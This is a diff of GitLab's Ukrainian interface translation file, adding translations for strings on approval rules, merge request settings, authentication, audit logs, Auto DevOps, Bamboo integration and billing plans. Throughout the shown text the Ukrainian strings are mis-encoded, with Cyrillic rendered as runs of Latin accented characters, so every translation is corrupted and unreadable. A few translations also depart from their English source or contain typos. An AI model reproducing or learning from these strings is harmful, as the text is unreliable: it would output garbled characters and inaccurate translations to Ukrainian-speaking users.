+msgstr "УÑÑ– Ñтани вразливоÑÑ‚Ñ–"
msgid "ApprovalRule|Apply this approval rule to consider only the selected security scanners."
-msgstr ""
+msgstr "ЗаÑтоÑуйте це правило затвердженнÑ, щоб розглÑдати лише обрані Ñканери безпеки."
msgid "ApprovalRule|Apply this approval rule to consider only the selected severity levels."
-msgstr ""
+msgstr "ЗаÑтоÑуйте це правило затвердженнÑ, щоб розглÑдати лише обрані рівні ÑерйозноÑÑ‚Ñ–."
msgid "ApprovalRule|Apply this approval rule to consider only the selected vulnerability states."
-msgstr ""
+msgstr "ЗаÑтоÑуйте це правило затвердженнÑ, щоб розглÑдати лише обрані Ñтани вразливоÑÑ‚Ñ–."
msgid "ApprovalRule|Approval rules"
msgstr "Правила затвердженнÑ"
msgid "ApprovalRule|Approvals required"
-msgstr ""
+msgstr "Потрібні затвердженнÑ"
msgid "ApprovalRule|Approver Type"
-msgstr ""
+msgstr "Тип оÑоби, що затверджує"
msgid "ApprovalRule|Approvers"
msgstr "Затверджуючі оÑоби"
msgid "ApprovalRule|Confirmed"
-msgstr ""
+msgstr "Підтверджено"
msgid "ApprovalRule|Dismissed"
-msgstr ""
+msgstr "Відхилено"
msgid "ApprovalRule|Examples: QA, Security."
-msgstr ""
+msgstr "Приклади: QA, Security."
msgid "ApprovalRule|Name"
msgstr "Ім'Ñ"
msgid "ApprovalRule|Newly detected"
-msgstr ""
+msgstr "Щойно виÑвлений"
msgid "ApprovalRule|Number of vulnerabilities allowed before approval rule is triggered."
-msgstr ""
+msgstr "КількіÑÑ‚ÑŒ вразливоÑтей, Ñкі дозволено до запуÑку правила затвердженнÑ."
msgid "ApprovalRule|Please enter a number equal or greater than zero"
-msgstr ""
+msgstr "Будь лаÑка, введіть чиÑло, Ñке дорівнює або більше нулÑ"
msgid "ApprovalRule|Please select at least one security scanner"
-msgstr ""
+msgstr "Будь лаÑка, оберіть принаймні один Ñканер безпеки"
msgid "ApprovalRule|Please select at least one severity level"
-msgstr ""
+msgstr "Будь лаÑка, оберіть принаймні один рівень ÑерйозноÑÑ‚Ñ–"
msgid "ApprovalRule|Please select at least one vulnerability state"
-msgstr ""
+msgstr "Будь лаÑка, оберіть принаймні один Ñтан вразливоÑÑ‚Ñ–"
msgid "ApprovalRule|Previously detected"
-msgstr ""
+msgstr "Раніше виÑвлений"
msgid "ApprovalRule|Resolved"
-msgstr ""
+msgstr "Вирішений"
msgid "ApprovalRule|Rule name"
msgstr "Ð†Ð¼â€™Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°"
msgid "ApprovalRule|Security scanners"
-msgstr ""
+msgstr "Сканери безпеки"
msgid "ApprovalRule|Select All"
-msgstr ""
+msgstr "Вибрати вÑе"
msgid "ApprovalRule|Select scanners"
-msgstr ""
+msgstr "Вибрати Ñканери"
msgid "ApprovalRule|Select severity levels"
-msgstr ""
+msgstr "Вибрати рівні ÑерйозноÑÑ‚Ñ–"
msgid "ApprovalRule|Select vulnerability states"
-msgstr ""
+msgstr "Вибрати Ñтани вразливоÑÑ‚Ñ–"
msgid "ApprovalRule|Severity levels"
-msgstr ""
+msgstr "Рівні ÑерйозноÑÑ‚Ñ–"
msgid "ApprovalRule|Target branch"
msgstr "Цільова гілка"
msgid "ApprovalRule|Vulnerabilities allowed"
-msgstr ""
+msgstr "Дозволені вразливоÑÑ‚Ñ–"
msgid "ApprovalRule|Vulnerability states"
-msgstr ""
+msgstr "Стани вразливоÑÑ‚Ñ–"
msgid "ApprovalSettings|Merge request approval settings have been updated."
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð¾."
msgid "ApprovalSettings|Prevent approval by author."
-msgstr ""
+msgstr "Заборонити ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð¾Ð¼."
msgid "ApprovalSettings|Prevent approvals by users who add commits."
-msgstr ""
+msgstr "Заборонити ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувачами, Ñкі додають коміти."
msgid "ApprovalSettings|Prevent editing approval rules in merge requests."
-msgstr ""
+msgstr "Заборонити редагувати правила ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ Ð² запитах на злиттÑ."
msgid "ApprovalSettings|Prevent editing approval rules in projects and merge requests."
-msgstr ""
+msgstr "Заборонити редагувати правила ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ Ñƒ проєктах та запитах на злиттÑ."
msgid "ApprovalSettings|Remove all approvals when commits are added to the source branch."
-msgstr ""
+msgstr "Видалити вÑÑ– ÑхваленнÑ, коли коміти додано до гілки-джерела."
msgid "ApprovalSettings|Require user password to approve."
-msgstr ""
+msgstr "Вимагати пароль кориÑтувача Ð´Ð»Ñ ÑхваленнÑ."
msgid "ApprovalSettings|There was an error loading merge request approval settings."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½ÑŒ ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
msgid "ApprovalSettings|There was an error updating merge request approval settings."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½ÑŒ ÑÑ…Ð²Ð°Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
msgid "ApprovalSettings|This setting is configured at the instance level and can only be changed by an administrator."
-msgstr ""
+msgstr "Цей параметр налаштований на рівні інÑтанÑу Ñ– може бути змінений тільки адмініÑтратором."
msgid "ApprovalSettings|This setting is configured in %{groupName} and can only be changed by an administrator or group owner."
-msgstr ""
+msgstr "Цей параметр налаштований у %{groupName} Ñ– може бути змінений тільки адмініÑтратором або влаÑником групи."
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
-msgstr ""
+msgstr "ДотримуєтьÑÑ Ñ€Ð¾Ð·Ð¿Ð¾Ð´Ñ–Ð»Ñƒ обов'Ñзків"
msgid "ApprovalStatusTooltip|At least one rule does not adhere to separation of duties"
-msgstr ""
+msgstr "Принаймні одне правило не дотримуєтьÑÑ Ñ€Ð¾Ð·Ð¿Ð¾Ð´Ñ–Ð»Ñƒ обов'Ñзків"
msgid "ApprovalStatusTooltip|Fails to adhere to separation of duties"
-msgstr ""
+msgstr "Ðе дотримуєтьÑÑ Ñ€Ð¾Ð·Ð¿Ð¾Ð´Ñ–Ð»Ñƒ обов'Ñзків"
msgid "Approvals are optional."
msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð½ÐµÐ¾Ð±Ð¾Ð²'Ñзкові."
msgid "Approvals|Section: %section"
-msgstr ""
+msgstr "Розділ: %section"
msgid "Approve"
msgstr "Затвердити"
@@ -4612,7 +4680,7 @@ msgid "Approved"
msgstr "Затверджено"
msgid "Approved MRs"
-msgstr ""
+msgstr "Затверджені Запити на злиттÑ"
msgid "Approved the current merge request."
msgstr "Затверджено поточний запит на злиттÑ."
@@ -4627,7 +4695,7 @@ msgid "Approvers"
msgstr "Затверджуючі оÑоби"
msgid "Approvers from private group(s) not shown"
-msgstr ""
+msgstr "Затверджуючі оÑоби з приватних груп не відображаютьÑÑ"
msgid "Apr"
msgstr "квіт."
@@ -4636,7 +4704,7 @@ msgid "April"
msgstr "квітень"
msgid "Architecture not found for OS"
-msgstr ""
+msgstr "Ðрхітектура не знайдена Ð´Ð»Ñ ÐžÐ¡"
msgid "Archive"
msgstr "Ðрхів"
@@ -4654,10 +4722,10 @@ msgid "Archived"
msgstr "Заархівовано"
msgid "Archived (%{movedToStart}moved%{movedToEnd})"
-msgstr ""
+msgstr "Заархівовано (%{movedToStart}переміщено%{movedToEnd})"
msgid "Archived in this version"
-msgstr ""
+msgstr "Заархівовано в цій верÑÑ–Ñ—"
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Ðрхівований проєкт! Репозиторій та інші реÑурÑи проєкту доÑтупні лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ"
@@ -4681,10 +4749,10 @@ msgid "Are you sure that you want to unarchive this project?"
msgstr "Ви впевнені, що хочете розархівувати цей проєкт?"
msgid "Are you sure you want to %{action} %{name}?"
-msgstr ""
+msgstr "Ви впевнені , що ви хочете %{action}%{name}?"
msgid "Are you sure you want to attempt to merge?"
-msgstr ""
+msgstr "Ви впевнені, що бажаєте Ñпробувати об'єднатиÑÑ?"
msgid "Are you sure you want to cancel editing this comment?"
msgstr "Ви впевнені, що хочете ÑкаÑувати Ñ€ÐµÐ´Ð°Ð³ÑƒÐ²Ð°Ð½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ коментарÑ?"
@@ -4702,6 +4770,9 @@ msgid "Are you sure you want to delete this %{typeOfComment}?"
msgstr "Ви впевнені що хочете видалити цей %{typeOfComment}?"
msgid "Are you sure you want to delete this SSH key?"
+msgstr "Ви впевнені, що хочете видалити цей SSH-ключ?"
+
+msgid "Are you sure you want to delete this deploy key?"
msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
@@ -4714,13 +4785,13 @@ msgid "Are you sure you want to delete this pipeline? Doing so will expire all p
msgstr ""
msgid "Are you sure you want to deploy this environment?"
-msgstr ""
+msgstr "Ви впевнені, що хочете розгорнути це Ñередовище?"
msgid "Are you sure you want to discard this comment?"
msgstr "Ви впевнені, що хочете видалити цей коментар?"
msgid "Are you sure you want to discard your changes?"
-msgstr ""
+msgstr "Ви впевнені, що хочете відхилити ваші зміни?"
msgid "Are you sure you want to erase this build?"
msgstr "Ви впевнені, що хочете видалити цей білд?"
@@ -4733,10 +4804,10 @@ msgstr[2] ""
msgstr[3] ""
msgid "Are you sure you want to lock %{path}?"
-msgstr ""
+msgstr "Ви впевнені, що хочете заблокувати %{path}?"
msgid "Are you sure you want to lock this directory?"
-msgstr ""
+msgstr "Ви впевнені, що хочете заблокувати цей каталог?"
msgid "Are you sure you want to lose unsaved changes?"
msgstr "Ви впевнені, що бажаєте втратити незбережені зміни?"
@@ -4748,13 +4819,13 @@ msgid "Are you sure you want to merge immediately?"
msgstr "Ви впевнені, що хочете об'єднати негайно?"
msgid "Are you sure you want to re-deploy this environment?"
-msgstr ""
+msgstr "Ви впевнені, що хочете повторно розгорнути це Ñередовище?"
msgid "Are you sure you want to regenerate the public key? You will have to update the public key on the remote server before mirroring will work again."
msgstr "Ви впевнені, що хочете повторно згенерувати відкритий ключ? Вам доведетьÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ відкритий ключ на віддаленому Ñервері, перш ніж Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÑŽÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð¿Ñ€Ð°Ñ†ÑŽÑ” знову."
msgid "Are you sure you want to reindex?"
-msgstr ""
+msgstr "Ви впевнені, що хочете переіндекÑувати?"
msgid "Are you sure you want to remove %{email}?"
msgstr "Ви впевнені, що хочете видалити %{email}?"
@@ -4769,7 +4840,7 @@ msgid "Are you sure you want to remove the license?"
msgstr "Ви впевнені, що хочете видалити ліцензію?"
msgid "Are you sure you want to remove this deploy key? If anything is still using this key, it will stop working."
-msgstr ""
+msgstr "Ви впевнені, що хочете видалити цей ключ розгортаннÑ? Якщо щоÑÑŒ викориÑтовує цей ключ, він переÑтане працювати."
msgid "Are you sure you want to remove this identity?"
msgstr "Ви впевнені, що хочете видалити цю ідентифікацію?"
@@ -4784,7 +4855,7 @@ msgid "Are you sure you want to reset the health check token?"
msgstr "Ви впевнені, що Ви хочете перегенерувати цей ключ перевірки працездатноÑÑ‚Ñ–?"
msgid "Are you sure you want to reset the registration token?"
-msgstr ""
+msgstr "Ви впевнені, що хочете Ñкинути реєÑтраційний токен?"
msgid "Are you sure you want to retry this migration?"
msgstr ""
@@ -4796,7 +4867,7 @@ msgid "Are you sure you want to revoke this nickname?"
msgstr "Ви впевнені, що хочете ÑкаÑувати цей пÑевдонім?"
msgid "Are you sure you want to revoke this personal access token? This action cannot be undone."
-msgstr ""
+msgstr "Ви впевнені, що хочете відкликати цей перÑональний токен доÑтупу? Ð¦Ñ Ð´Ñ–Ñ Ð½Ðµ може бути ÑкаÑована."
msgid "Are you sure you want to stop this environment?"
msgstr "Ви впевнені що хочете зупинити це Ñередовище?"
@@ -4805,10 +4876,10 @@ msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "Ви впевнені, що хочете розблокувати %{path_lock_path}?"
msgid "Are you sure you want to unlock %{path}?"
-msgstr ""
+msgstr "Ви впевнені, що хочете розблокувати %{path}?"
msgid "Are you sure you want to unlock this directory?"
-msgstr ""
+msgstr "Ви впевнені, що хочете розблокувати цей каталог?"
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "Ви дійÑно бажаєте ÑкаÑувати підпиÑку на %{type}: %{link_to_noteable_text}?"
@@ -4841,16 +4912,16 @@ msgid "Artifacts"
msgstr "Ðртефакти"
msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
-msgstr ""
+msgstr "ОÑкільки ми продовжуємо Ñтворювати більше функцій Ð´Ð»Ñ SAST, ми хотіли б отримати ваші відгуки про функцію конфігурації SAST у %{linkStart}цій задачі%{linkEnd}."
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} відправив код в гілку %{branch} проєкту %{project_name} (%{commit_url}):"
msgid "AsanaService|Add commit messages as comments to Asana tasks."
-msgstr ""
+msgstr "Додати коментар до завдань Asana."
msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
-msgstr ""
+msgstr "СпиÑок гілок, розділених комами, Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡Ð½Ð¾Ñ— перевірки. Залишіть поле порожнім, щоб увімкнути вÑÑ– гілки."
msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
@@ -4859,13 +4930,13 @@ msgid "Ascending"
msgstr "За зроÑтаннÑм"
msgid "Ask again later"
-msgstr ""
+msgstr "Запитати пізніше"
msgid "Ask someone with write access to resolve it."
-msgstr ""
+msgstr "ПопроÑÑ–Ñ‚ÑŒ когоÑÑŒ із правом запиÑу вирішити цю проблему."
msgid "Ask your group maintainer to set up a group runner."
-msgstr ""
+msgstr "ПопроÑÑ–Ñ‚ÑŒ Ñвого керівника групи налаштувати груповий Runner."
msgid "Assertion consumer service URL"
msgstr "URL-адреÑа Ñлужби обробника тверджень"
@@ -4909,6 +4980,9 @@ msgstr "Призначити"
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "Призначити ці задачі Ñобі"
@@ -4925,7 +4999,7 @@ msgid "Assigned Issues"
msgstr "Призначені задачі"
msgid "Assigned merge requests"
-msgstr ""
+msgstr "Призначені запити на злиттÑ"
msgid "Assigned projects"
msgstr "Призначені проєкти"
@@ -4995,7 +5069,7 @@ msgid "Attach a file by drag &amp; drop or %{upload_link}"
msgstr "Прикріпити файл за допомогою перетÑÐ³ÑƒÐ²Ð°Ð½Ð½Ñ Ð°Ð±Ð¾ %{upload_link}"
msgid "Attaching File - %{progress}"
-msgstr ""
+msgstr "ÐŸÑ€Ð¸ÐºÑ€Ñ–Ð¿Ð»ÐµÐ½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñƒ - %{progress}"
msgid "Attaching a file"
msgid_plural "Attaching %d files"
@@ -5010,6 +5084,9 @@ msgstr "Ðе вдалоÑÑ Ð¿Ñ€Ð¸ÐºÑ€Ñ–Ð¿Ð¸Ñ‚Ð¸ файл."
msgid "Audit Events"
msgstr "Події аудиту"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr "(видалено)"
@@ -5050,7 +5127,7 @@ msgid "AuditLogs|Target"
msgstr "Ціль"
msgid "AuditLogs|This month"
-msgstr ""
+msgstr "Цього міÑÑцÑ"
msgid "AuditLogs|User Events"
msgstr "Події кориÑтувача"
@@ -5065,31 +5142,31 @@ msgid "Authenticate"
msgstr "Ðвтентифікувати"
msgid "Authenticate user SSH keys without requiring additional configuration. Performance of GitLab can be improved by using the GitLab database instead."
-msgstr ""
+msgstr "Ðутентифікувати ключі кориÑтувача SSH без додаткового налаштуваннÑ. Ви можете покращити продуктивніÑÑ‚ÑŒ GitLab, Ñкщо заміÑÑ‚ÑŒ цього викориÑтовувати базу даних GitLab."
msgid "Authenticate with GitHub"
msgstr "Ðвтентифікувати за допомогою GitHub"
msgid "Authenticated API rate limit period in seconds"
-msgstr ""
+msgstr "Період Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ ÑˆÐ²Ð¸Ð´ÐºÐ¾ÑÑ‚Ñ– автентифікованого API за Ñекунди"
msgid "Authenticated API requests"
-msgstr ""
+msgstr "Ðутентифіковані запити API"
msgid "Authenticated Git LFS rate limit period in seconds"
-msgstr ""
+msgstr "Період Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ ÑˆÐ²Ð¸Ð´ÐºÐ¾ÑÑ‚Ñ– автентифікованого Git LFS у Ñекундах"
msgid "Authenticated Git LFS request rate limit"
-msgstr ""
+msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñтоти запитів автентифікованого Git LFS"
msgid "Authenticated Git LFS requests"
-msgstr ""
+msgstr "Ðвтентифіковані запити Git LFS"
msgid "Authenticated web rate limit period in seconds"
msgstr ""
msgid "Authenticated web requests"
-msgstr ""
+msgstr "Ðутентифіковані веб-запити"
msgid "Authenticating"
msgstr "ÐвтентифікаціÑ"
@@ -5119,7 +5196,7 @@ msgid "Authentication via U2F device failed."
msgstr "Ðе вдалоÑÑ Ð²Ð¸ÐºÐ¾Ð½Ð°Ñ‚Ð¸ автентифікацію через U2F приÑтрій."
msgid "Authentication via WebAuthn device failed."
-msgstr ""
+msgstr "Помилка автентифікації через приÑтрій WebAuthn."
msgid "Author"
msgstr "Ðвтор"
@@ -5131,7 +5208,7 @@ msgid "Authored %{timeago}"
msgstr "Ðвтор: %{timeago}"
msgid "Authored %{timeago} by %{author}"
-msgstr ""
+msgstr "Створено %{author} %{timeago}"
msgid "Authorization code:"
msgstr "Код авторизації:"
@@ -5143,7 +5220,7 @@ msgid "Authorization required"
msgstr "Потрібна авторизаціÑ"
msgid "Authorization token duration (minutes)"
-msgstr ""
+msgstr "ТриваліÑÑ‚ÑŒ токена авторизації (хвилини)"
msgid "Authorization was granted by entering your username and password in the application."
msgstr "ÐÐ²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ñ–Ñ Ð²Ñ–Ð´Ð±ÑƒÐ»Ð°ÑÑ Ð¿Ñ–ÑÐ»Ñ Ð²Ð²Ð¾Ð´Ñƒ вашого імені та паролю у заÑтоÑунку."
@@ -5185,7 +5262,7 @@ msgid "Auto-close referenced issues on default branch"
msgstr ""
msgid "AutoDevOps|%{auto_devops_start}Automate building, testing, and deploying%{auto_devops_end} your applications based on your continuous integration and delivery configuration. %{quickstart_start}How do I get started?%{quickstart_end}"
-msgstr ""
+msgstr "%{auto_devops_start}Ðвтоматизуйте ÑтвореннÑ, теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‚Ð° розгортаннÑ%{auto_devops_end} ваших заÑтоÑунків на оÑнові вашої безперервної інтеграції та конфігурації розгортаннÑ. %{quickstart_start}Як розпочати роботу?%{quickstart_end}"
msgid "AutoDevOps|Auto DevOps"
msgstr "Auto DevOps"
@@ -5194,7 +5271,7 @@ msgid "AutoDevOps|Auto DevOps documentation"
msgstr "Auto DevOps документації"
msgid "AutoDevOps|Dismiss Auto DevOps box"
-msgstr ""
+msgstr "Відхилити вікно Auto DevOps"
msgid "AutoDevOps|Enable in settings"
msgstr "Включити в налаштуваннÑÑ…"
@@ -5209,16 +5286,16 @@ msgid "AutoDevOps|The Auto DevOps pipeline has been enabled and will be used if
msgstr "Конвеєр Auto DevOps увімкнено Ñ– буде викориÑтовуватиÑÑ, Ñкщо не знайдено жодного альтернативного файлу конфігурації CI."
msgid "AutoDevopsAlert|Security testing tools enabled with %{linkStart}Auto DevOps%{linkEnd}"
-msgstr ""
+msgstr "ІнÑтрументи теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸ увімкнені за допомогою %{linkStart}Auto DevOps%{linkEnd}"
msgid "AutoRemediation| 1 Merge Request"
msgstr "1 запит на злиттÑ"
msgid "AutoRemediation|%{mrsCount} ready for review"
-msgstr ""
+msgstr "%{mrsCount} готові до перевірки"
msgid "AutoRemediation|Auto-fix"
-msgstr ""
+msgstr "ÐвтовиправленнÑ"
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -5227,7 +5304,7 @@ msgid "AutoRemediation|If you're using dependency and/or container scanning, and
msgstr ""
msgid "AutoRemediation|Introducing GitLab auto-fix"
-msgstr ""
+msgstr "ПредÑтавлÑємо GitLab автовиправленнÑ"
msgid "AutoRollback|Automatic rollbacks start when a critical alert is triggered. If the last successful deployment fails to roll back automatically, it can still be done manually."
msgstr ""
@@ -5281,13 +5358,13 @@ msgid "Available ID"
msgstr "ДоÑтупний ідентифікатор"
msgid "Available group runners: %{runners}"
-msgstr ""
+msgstr "ДоÑтупна група runner'ів: %{runners}"
msgid "Available runners: %{runners}"
-msgstr ""
+msgstr "ДоÑтупні Runner'и: %{runners}"
msgid "Available shared runners:"
-msgstr ""
+msgstr "ДоÑтупні Ñпільні Runner'и:"
msgid "Available specific runners"
msgstr "ДоÑтупні Ñпеціальні Runner’и"
@@ -5311,7 +5388,7 @@ msgid "Award removed"
msgstr ""
msgid "AwardEmoji|No emojis found."
-msgstr ""
+msgstr "Емоджі не знайдено."
msgid "Back"
msgstr "Ðазад"
@@ -5326,7 +5403,7 @@ msgid "Background Jobs"
msgstr "Фонові завданнÑ"
msgid "Background Migrations"
-msgstr ""
+msgstr "Міграції у фоновому режимі"
msgid "Background color"
msgstr "Колір фону"
@@ -5404,7 +5481,7 @@ msgid "Badges|This project has no badges"
msgstr "У цього проєкту немає значків"
msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
-msgstr ""
+msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ цей значок. Видалені значки %{strongStart}не можуть%{strongEnd} бути відновлені."
msgid "Badges|Your badges"
msgstr "Ваші значки"
@@ -5413,28 +5490,28 @@ msgid "Balsamiq file could not be loaded."
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ файл Balsamiq."
msgid "BambooService|Atlassian Bamboo"
-msgstr ""
+msgstr "Atlassian Bamboo"
msgid "BambooService|Bamboo URL"
-msgstr ""
+msgstr "Bamboo URL"
msgid "BambooService|Bamboo build plan key."
-msgstr ""
+msgstr "Ключ до плану збірки Bamboo."
msgid "BambooService|Bamboo service root URL."
-msgstr ""
+msgstr "Кореневий URL ÑервіÑу Bamboo."
msgid "BambooService|Run CI/CD pipelines with Atlassian Bamboo."
msgstr "ЗапуÑтити CI/CD конвеєри за допомогою Atlassian Bamboo."
msgid "BambooService|Run CI/CD pipelines with Atlassian Bamboo. You must set up automatic revision labeling and a repository trigger in Bamboo. %{docs_link}"
-msgstr ""
+msgstr "ЗапуÑтити CI/CD конвеєри за допомогою Atlassian Bamboo. Ви маєте налаштувати автоматичну перевірку та тригер репозиторію в Bamboo. %{docs_link}"
msgid "BambooService|The user with API access to the Bamboo server."
-msgstr ""
+msgstr "КориÑтувач із API доÑтупом до Bambooo Ñервера."
msgid "Based on"
-msgstr ""
+msgstr "Ðа оÑнові"
msgid "Be careful. Changing the project's namespace can have unintended side effects."
msgstr "Будьте обережні. Зміна проÑтору імен проєкту може мати небажані побічні ефекти."
@@ -5449,7 +5526,7 @@ msgid "Before inserting code, be sure to read the comment that separated each co
msgstr ""
msgid "Before this can be merged, a Jira issue must be linked in the title or description"
-msgstr ""
+msgstr "Перед тим, Ñк це вдаÑÑ‚ÑŒÑÑ Ð·Ð»Ð¸Ñ‚Ð¸, задача з Jira повинна бути вказана в заголовку або опиÑÑ–"
msgid "Begin with the selected commit"
msgstr "Почати із виділеного коміту"
@@ -5458,7 +5535,7 @@ msgid "Below are the fingerprints for the current instance SSH host keys."
msgstr "Ðижче наведено відбитки SSH-ключів хоÑта поточного інÑтанÑу."
msgid "Below are the settings for %{link_to_gitlab_pages}."
-msgstr ""
+msgstr "Ðижче наведені Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð´Ð»Ñ %{link_to_gitlab_pages}."
msgid "Below you will find all the groups that are public."
msgstr "Ðижче ви знайдете вÑÑ– загальнодоÑтупні групи."
@@ -5467,34 +5544,34 @@ msgid "Bi-weekly code coverage"
msgstr ""
msgid "Billable Users"
-msgstr ""
+msgstr "Ð”Ð»Ñ Ð¿Ð»Ð°Ñ‚Ð½Ð¸Ñ… кориÑтувачів"
msgid "Billing"
msgstr "Білінг"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
-msgstr ""
+msgstr "%{group_name} викориÑтовує %{plan_name}."
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
-msgstr ""
+msgstr "@%{user_name} наразі ви викориÑтовуєте %{plan_name}."
msgid "BillingPlans|Compare all plans"
-msgstr ""
+msgstr "ПорівнÑти уÑÑ– плани."
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr "Вітаємо, ваша безкоштовна пробна верÑÑ–Ñ Ð°ÐºÑ‚Ð¸Ð²Ð¾Ð²Ð°Ð½Ð°."
msgid "BillingPlans|End of availability for the Bronze Plan"
-msgstr ""
+msgstr "ЗакінчивÑÑ Ð´Ð¾Ñтуп до Бронзового плану"
msgid "BillingPlans|Free upgrade!"
-msgstr ""
+msgstr "Безкоштовне оновленнÑ!"
msgid "BillingPlans|If you would like to downgrade your plan please contact %{support_link_start}Customer Support%{support_link_end}."
msgstr "Якщо ви хочете перейти на нижчий план, будь лаÑка, зв'ÑжітьÑÑ Ð· %{support_link_start}Службою підтримки%{support_link_end}."
msgid "BillingPlans|Learn more about each plan by reading our %{faq_link}, or start a free 30-day trial of GitLab.com Ultimate."
-msgstr ""
+msgstr "Вивчіть детальну інформацію про кожну підпиÑку за поÑиланнÑм %{faq_link} або розпочніть кориÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÐµÐ·ÐºÐ¾ÑˆÑ‚Ð¾Ð²Ð½Ð¸Ð¼ 30-денним періодом GitLab.com Ultimate."
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про кожен план перейшовши на %{pricing_page_link}."
@@ -5518,10 +5595,10 @@ msgid "BillingPlans|To manage the plan for this group, visit the billing section
msgstr "Ð”Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð¿Ð»Ð°Ð½Ð¾Ð¼ цієї групи відвідайте Ñекцію оплати %{parent_billing_page_link}."
msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
-msgstr ""
+msgstr "Оновіть до GitLab %{planNameForUpgrade}"
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
-msgstr ""
+msgstr "Ðе дивлÑчиÑÑŒ на те, що GitLab припинÑÑ” доÑтуп до Бронзового плану, ви можете продовжити бронзову підпиÑку ще один раз до %{eoa_bronze_plan_end_date}. Також ми пропонуємо обмежене за чаÑом безкоштовне Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð¾ Преміум плану (до 25 кориÑтувачів)! ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про зміни та пропозиції у нашому %{announcement_link}."
msgid "BillingPlans|Your GitLab.com %{plan} trial will %{strong_open}expire after %{expiration_date}%{strong_close}. You can retain access to the %{plan} features by upgrading below."
msgstr ""
@@ -5533,7 +5610,7 @@ msgid "BillingPlans|billed annually at %{price_per_year}"
msgstr "рахунок виÑтавлÑєтьÑÑ Ñ‰Ð¾Ñ€Ñ–Ñ‡Ð½Ð¾ %{price_per_year}"
msgid "BillingPlans|for the remainder of your subscription"
-msgstr ""
